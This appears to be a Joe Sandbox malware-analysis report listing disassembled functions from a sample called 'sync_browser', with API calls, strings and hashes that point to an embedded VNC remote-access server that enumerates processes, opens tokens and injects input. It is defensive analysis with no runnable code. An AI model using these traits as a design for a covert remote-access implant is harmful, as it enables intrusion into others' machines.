Opcode Fuzzy Hash: d910fd2d2387e2035f705f97629f63b5daf9f0bcc88dd8988d1e93384b6c5770
Instruction Fuzzy Hash: 9FA2C026608A8585E750EB39D8687FEB7A1FB84F94F844233DA1D877A8DF38D444C721

Function 00007FF7E50D9BC0 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 105
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50D9C03
GetProcAddress.KERNEL32 ref: 00007FF7E50D9C1B
GetProcAddress.KERNEL32 ref: 00007FF7E50D9C2E
GetSystemMetrics.USER32 ref: 00007FF7E50D9C4E
GetCurrentProcessId.KERNEL32 ref: 00007FF7E50D9C61
ProcessIdToSessionId.KERNEL32 ref: 00007FF7E50D9C76
CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E50D9C85
Process32First.KERNEL32 ref: 00007FF7E50D9CA4
CloseHandle.KERNEL32 ref: 00007FF7E50D9CB1
FreeLibrary.KERNEL32 ref: 00007FF7E50D9CBF

Strings

ProcessIdToSessionId, xrefs: 00007FF7E50D9C21
WTSGetActiveConsoleSessionId, xrefs: 00007FF7E50D9C11
kernel32.dll, xrefs: 00007FF7E50D9BF2
explorer.exe, xrefs: 00007FF7E50D9CD0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AddressLibraryProcProcess$CloseCreateCurrentFirstFreeHandleLoadMetricsProcess32SessionSnapshotSystemToolhelp32
String ID: ProcessIdToSessionId$WTSGetActiveConsoleSessionId$explorer.exe$kernel32.dll
API String ID: 1881659197-3751679782
Opcode ID: 2dbd4ffebc6746016a1012bd7f42155df4cc965da3ae6bbb03cb4ee60b751db4
Instruction ID: a9fe2c797e19dcd8b58d2ebea04e867cb1eb2ce39da0b8c93f28112560f5dc60
Opcode Fuzzy Hash: 2dbd4ffebc6746016a1012bd7f42155df4cc965da3ae6bbb03cb4ee60b751db4
Instruction Fuzzy Hash: 0E413331A08B4E86EA60AB21B824375F390FF48F91F841536E95E87798EF3CE405C721

Function 00007FF7E50D9EF0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessWindowStation.USER32 ref: 00007FF7E50D9F30
GetUserObjectInformationA.USER32 ref: 00007FF7E50D9F5E
GetLastError.KERNEL32 ref: 00007FF7E50D9F64
SetLastError.KERNEL32 ref: 00007FF7E50D9F6C
RevertToSelf.ADVAPI32 ref: 00007FF7E50D9F79
GetUserNameA.ADVAPI32 ref: 00007FF7E50DA008
GetLastError.KERNEL32 ref: 00007FF7E50DA012
GetLastError.KERNEL32 ref: 00007FF7E50DA044

Strings

vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: Unknown OS , xrefs: 00007FF7E50DA094
vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - ERROR : No window station , xrefs: 00007FF7E50D9F3B
vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: Usersize 0, xrefs: 00007FF7E50D9F7F
vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: No user logged on , xrefs: 00007FF7E50DA01F
vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: NOT impersonating user , xrefs: 00007FF7E50D9FB7
vncservice.cpp : getusername error %d, xrefs: 00007FF7E50DA04A
vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - UserNAme found: %s , xrefs: 00007FF7E50DA06F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorLast$User$InformationNameObjectProcessRevertSelfStationWindow
String ID: vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - ERROR : No window station $vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: NOT impersonating user $vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: No user logged on $vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: Unknown OS $vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - Error: Usersize 0$vncservice.cpp : @@@@@@@@@@@@@ GetCurrentUser - UserNAme found: %s $vncservice.cpp : getusername error %d
API String ID: 3635673080-2232443292
Opcode ID: df8b4108ed97db498e513780486a315d6e916c093cc0dcc6e4f94b4d88527eb8
Instruction ID: ba7efcf136e516ec05dc8aca83462afc4a8f7bd6b31430ed7eea2138260ba59d
Opcode Fuzzy Hash: df8b4108ed97db498e513780486a315d6e916c093cc0dcc6e4f94b4d88527eb8
Instruction Fuzzy Hash: A2417F25E0C64B86FB10BB24F8603B9E3A1AF84B48FC40437E60DC6569EE7DE455C722

Function 00007FF7E50DD890 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E50DD90A
LeaveCriticalSection.KERNEL32 ref: 00007FF7E50DD97B

Strings

vsocket.cpp : WriteExact: DSMPlugin-RestoreBuffer Alloc Error, xrefs: 00007FF7E50DD958
vsocket.cpp : socket error 1: %d, xrefs: 00007FF7E50DDA00
vsocket.cpp : zero bytes read2, xrefs: 00007FF7E50DDAC7
vsocket.cpp : zero bytes read1, xrefs: 00007FF7E50DD9D9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: vsocket.cpp : WriteExact: DSMPlugin-RestoreBuffer Alloc Error$vsocket.cpp : socket error 1: %d$vsocket.cpp : zero bytes read1$vsocket.cpp : zero bytes read2
API String ID: 3168844106-4245644328
Opcode ID: fb51c5f38e3ceb32ba6187375171630d2d9d6b8a6abb1b1af77451ade3fe2d73
Instruction ID: a3774ef9e985693c1cd3b013301632d55d21c0b53fd8c99bf5394f1b9b00011a
Opcode Fuzzy Hash: fb51c5f38e3ceb32ba6187375171630d2d9d6b8a6abb1b1af77451ade3fe2d73
Instruction Fuzzy Hash: 6461662290CA8A87E770AB39A454379E3A0FB44F54F945132EA5EC76E4DF3CD405C712

Function 00007FF7E5079D00 Relevance: 15.2, APIs: 10, Instructions: 209
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32 ref: 00007FF7E5079DBB
EnumServicesStatusA.ADVAPI32 ref: 00007FF7E5079E1D
GetLastError.KERNEL32 ref: 00007FF7E5079E2B
EnumServicesStatusA.ADVAPI32 ref: 00007FF7E5079E85
OpenServiceA.ADVAPI32 ref: 00007FF7E5079EB9
QueryServiceConfigA.ADVAPI32 ref: 00007FF7E5079ED7
GetLastError.KERNEL32 ref: 00007FF7E5079EE5
QueryServiceConfigA.ADVAPI32 ref: 00007FF7E5079F16
CloseServiceHandle.ADVAPI32 ref: 00007FF7E5079FCA
CloseServiceHandle.ADVAPI32 ref: 00007FF7E5079FF0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigEnumErrorHandleLastOpenQueryServicesStatus$Manager
String ID:
API String ID: 3151975580-0
Opcode ID: 2bd10b3906a7b2c812c4d056fde43adfe123f9b05cd6780d6db58cbf665bb52e
Instruction ID: 226ad1e2d412f391aa205887807fea5bfa422fbe5ea5fadbdb4fc5c313c38730
Opcode Fuzzy Hash: 2bd10b3906a7b2c812c4d056fde43adfe123f9b05cd6780d6db58cbf665bb52e
Instruction Fuzzy Hash: 5A918222B08A4589FB10EB71E4257BDB3B1AB44BA8F804636EE2D57BD8DF38D505C311

Function 00007FF7E5098590 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 165
windowsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32 ref: 00007FF7E50985FB
WaitForSingleObject.KERNEL32 ref: 00007FF7E5098608
free.LIBCMT ref: 00007FF7E5098651
SendMessageA.USER32 ref: 00007FF7E5098751
free.LIBCMT ref: 00007FF7E5098763
free.LIBCMT ref: 00007FF7E5098774
FreeLibrary.KERNEL32 ref: 00007FF7E50987B5
DeleteObject.GDI32 ref: 00007FF7E509880A
free.LIBCMT ref: 00007FF7E5098817
DeleteObject.GDI32 ref: 00007FF7E5098832
free.LIBCMT ref: 00007FF7E509883F
DeleteObject.GDI32 ref: 00007FF7E509884B
free.LIBCMT ref: 00007FF7E5098858
DeleteObject.GDI32 ref: 00007FF7E5098864
free.LIBCMT ref: 00007FF7E5098871

Strings

vncclient.cpp : deleting socket, xrefs: 00007FF7E5098666
vncclient.cpp : ~vncClient() executing..., xrefs: 00007FF7E50985BA

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: free$Object$Delete$MessageSend$FreeLibrarySingleWait
String ID: vncclient.cpp : deleting socket$vncclient.cpp : ~vncClient() executing...
API String ID: 2172171234-2418058073
Opcode ID: ae43704471dc359bc283cfe2eb67b83c9c223570d8a40ab8efa04644ebaf49f5
Instruction ID: e80106d99ef05142c99834a53e7dec9d395d57d02c66ef79e6c306bc67671356
Opcode Fuzzy Hash: ae43704471dc359bc283cfe2eb67b83c9c223570d8a40ab8efa04644ebaf49f5
Instruction Fuzzy Hash: AA813C35609A8985EB54EF75E4643B9A360FF84F84F844136EA0D8B799CF39D451C332

Function 00007FF7E50C2FF0 Relevance: 27.2, APIs: 18, Instructions: 183
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

std::exception::exception.LIBCMT ref: 00007FF7E50C303E
GetWindowLongPtrA.USER32 ref: 00007FF7E50C30A7
GetDlgItem.USER32 ref: 00007FF7E50C30F5
SendMessageA.USER32 ref: 00007FF7E50C310C
SendMessageA.USER32 ref: 00007FF7E50C3127
EndDialog.USER32 ref: 00007FF7E50C3268

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: MessageSend$DialogItemLongWindowmallocstd::exception::exception
String ID:
API String ID: 1935883720-0
Opcode ID: 7be5ccecca7b2e798f0e3ae60729954586f2e76e6c9a6f26eb5410dab4250f23
Instruction ID: 526bbf9ebc192ce1d568d8ca13802a3e40a08fdff56d65df26cd98552e119c4c
Opcode Fuzzy Hash: 7be5ccecca7b2e798f0e3ae60729954586f2e76e6c9a6f26eb5410dab4250f23
Instruction Fuzzy Hash: 1761EC31B08A4985EB20EB25E4647BAA351FB89FD0F945132DD5D87798DF3CD445C312

Function 00007FF7E51075C0 Relevance: 25.7, APIs: 17, Instructions: 151
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E51075D9
ReleaseSemaphore.KERNEL32 ref: 00007FF7E5107625
GetLastError.KERNEL32 ref: 00007FF7E510764E
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5107659
TlsAlloc.KERNEL32 ref: 00007FF7E51076A4
GetLastError.KERNEL32 ref: 00007FF7E51076B5
InitializeCriticalSection.KERNEL32 ref: 00007FF7E51076F0
GetCurrentProcess.KERNEL32 ref: 00007FF7E510772F
GetCurrentThread.KERNEL32 ref: 00007FF7E5107738
GetCurrentProcess.KERNEL32 ref: 00007FF7E5107741
DuplicateHandle.KERNELBASE ref: 00007FF7E510776C
GetLastError.KERNEL32 ref: 00007FF7E5107780
GetCurrentThreadId.KERNEL32 ref: 00007FF7E510779C
TlsSetValue.KERNEL32 ref: 00007FF7E51077AE
GetLastError.KERNEL32 ref: 00007FF7E51077B8

Part of subcall function 00007FF7E5132950: RaiseException.KERNEL32 ref: 00007FF7E51329CB

SetThreadPriority.KERNELBASE ref: 00007FF7E51077DA
GetLastError.KERNEL32 ref: 00007FF7E51077E4

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorLast$Current$CriticalSectionThread$Process$AllocDuplicateEnterExceptionHandleInitializeLeavePriorityRaiseReleaseSemaphoreValue
String ID:
API String ID: 772457954-0
Opcode ID: 6724cc30325cfb9ab06b351ea06354c6b11979decb25812fb5b84730cc05a7b3
Instruction ID: e9fc28b64ffc85f430df088c66dc08d83b0f58140881ac12edef19fa544bc859
Opcode Fuzzy Hash: 6724cc30325cfb9ab06b351ea06354c6b11979decb25812fb5b84730cc05a7b3
Instruction Fuzzy Hash: 70615E35A0874A86EB50BF25B464379A3A0FF44F84F941136DA4E83769EF3CE445C762

Function 00007FF7E508F940 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sprintf.LIBCMT ref: 00007FF7E508F9C7
EnterCriticalSection.KERNEL32 ref: 00007FF7E508FA75
LeaveCriticalSection.KERNEL32 ref: 00007FF7E508FA9E
SleepEx.KERNELBASE ref: 00007FF7E508FAF2
swscanf.LIBCMT ref: 00007FF7E508FB87

Strings

false, xrefs: 00007FF7E508FBB7
vncclient.cpp : m_ms_logon set to %s, xrefs: 00007FF7E508FBC4
REP, xrefs: 00007FF7E508FB2F
i, xrefs: 00007FF7E508FA6A
RFB, xrefs: 00007FF7E508FB56
0.0.0.0, xrefs: 00007FF7E508F999
RFB %03d.%03d, xrefs: 00007FF7E508F9BB, 00007FF7E508FB7B
true, xrefs: 00007FF7E508FBB0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleepsprintfswscanf
String ID: 0.0.0.0$REP$RFB$RFB %03d.%03d$false$i$true$vncclient.cpp : m_ms_logon set to %s
API String ID: 958158500-3765181313
Opcode ID: 1eb8a27b6a294cbb1bbf7568b07f20689580138f24bb599d5c02435dd9ce633d
Instruction ID: 4d82ccf73ffc87f58064dd6ec23c55a8609100980c58411820d37766352fee25
Opcode Fuzzy Hash: 1eb8a27b6a294cbb1bbf7568b07f20689580138f24bb599d5c02435dd9ce633d
Instruction Fuzzy Hash: EC91D226608B8A86E760EB35E468BAAB3A0FB44F94F840133EA4D87794DF3CD545C711

Function 00007FF7E50D9D80 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E50D9BC0: LoadLibraryA.KERNEL32 ref: 00007FF7E50D9C03
Part of subcall function 00007FF7E50D9BC0: GetProcAddress.KERNEL32 ref: 00007FF7E50D9C1B
Part of subcall function 00007FF7E50D9BC0: GetProcAddress.KERNEL32 ref: 00007FF7E50D9C2E
Part of subcall function 00007FF7E50D9BC0: GetSystemMetrics.USER32 ref: 00007FF7E50D9C4E
Part of subcall function 00007FF7E50D9BC0: GetCurrentProcessId.KERNEL32 ref: 00007FF7E50D9C61
Part of subcall function 00007FF7E50D9BC0: ProcessIdToSessionId.KERNEL32 ref: 00007FF7E50D9C76
Part of subcall function 00007FF7E50D9BC0: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E50D9C85
Part of subcall function 00007FF7E50D9BC0: Process32First.KERNEL32 ref: 00007FF7E50D9CA4
Part of subcall function 00007FF7E50D9BC0: CloseHandle.KERNEL32 ref: 00007FF7E50D9CB1
Part of subcall function 00007FF7E50D9BC0: FreeLibrary.KERNEL32 ref: 00007FF7E50D9CBF

OpenProcess.KERNEL32 ref: 00007FF7E50D9DC0
OpenProcessToken.ADVAPI32 ref: 00007FF7E50D9DD6
CloseHandle.KERNEL32 ref: 00007FF7E50D9EBA

Strings

?, xrefs: 00007FF7E50D9E76

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Process$AddressCloseHandleLibraryOpenProc$CreateCurrentFirstFreeLoadMetricsProcess32SessionSnapshotSystemTokenToolhelp32
String ID: ?
API String ID: 2900023865-1684325040
Opcode ID: febb9543f439330e09f6a3bb3b030836e2934ac63594c7e2729f7f74b439011d
Instruction ID: 762007e4f65f378b637838f96f843408a8fbf8da31adedde7209c1f6ae744b00
Opcode Fuzzy Hash: febb9543f439330e09f6a3bb3b030836e2934ac63594c7e2729f7f74b439011d
Instruction Fuzzy Hash: 18313F3160CB8986E760AF21F45436AB3A4FB89B94F800036DA8D87B58EF3DD005CB51

Function 00007FF7E50980DA Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 189
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E5080270: CreateRectRgn.GDI32 ref: 00007FF7E508029D
Part of subcall function 00007FF7E5080270: CreateRectRgn.GDI32 ref: 00007FF7E50802C1
Part of subcall function 00007FF7E5080270: CreateRectRgn.GDI32 ref: 00007FF7E50802E5

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

CreateRectRgn.GDI32 ref: 00007FF7E50981F8
LoadLibraryA.KERNEL32 ref: 00007FF7E5098235
GetProcAddress.KERNEL32 ref: 00007FF7E5098251

Strings

USER32, xrefs: 00007FF7E509822E
vncclient.cpp : TEST 4, xrefs: 00007FF7E50982DF
vncclient.cpp : vncClient() executing..., xrefs: 00007FF7E5098277
SendInput, xrefs: 00007FF7E5098247

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
